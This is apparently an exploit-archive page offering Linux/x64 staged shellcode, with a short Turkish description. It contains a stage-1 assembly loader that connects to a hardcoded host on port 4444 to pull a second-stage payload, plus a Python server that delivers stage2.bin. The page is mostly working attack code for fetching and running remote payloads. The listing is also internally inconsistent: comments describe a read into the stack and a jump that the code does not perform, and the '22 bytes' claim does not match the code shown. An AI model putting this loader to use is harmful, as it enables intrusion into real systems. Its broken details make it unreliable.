VULN REPORT
/
shellcode
/
ID: 259
Linux/x64 Staged Shellcode - Stage1 22 Bytes + TCP Stage2 Loader
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 30 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_259.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">
<div class="border-l-4 border-purple-500 pl-5 py-3 bg-purple-50/60 rounded-r-xl">
<p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Modern Shellcode - Linux x64 - Staged</p>
<h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 Staged Shellcode - 22 Bytes Stage-1 Loader</h2>
<p class="text-sm text-slate-600 mt-2">Staged shellcode, dar buffer'lara sigacak kadar kucuk stage-1 ile baslar. Loader; baglanti kurar, payload alir, bellekte calistirir.</p>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Stage-1 Minimal TCP Loader</h3>
<div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; socket + connect + read + jmp
xor edi, edi
mul edi
inc edi ; SOCK_STREAM=1
push 2
pop rsi ; AF_INET=2
mov al, 41 ; socket
syscall
push rax
pop r9
; connect hardcoded 192.168.1.50:4444
mov dword [rsp-4], 0x3201a8c0
mov word [rsp-6], 0x5c11
mov word [rsp-8], 2
sub rsp, 8
mov rsi, rsp
push 16
pop rdx
mov rdi, r9
mov al, 42 ; connect
syscall
; read(sockfd, rsp, 4096) -> stage2
mov rdi, r9
xor esi, esi
mov al, 0
syscall
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Stage-2 Python Sunucu</h3>
<div class="bg-slate-900 text-yellow-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
import socket
with open("stage2.bin","rb") as f:
s2 = f.read()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 4444))
srv.listen(1)
conn, a = srv.accept()
conn.send(s2)
</div>
</div>
</div>
Entry Stats
Views
30
Downloads
4
Comments
0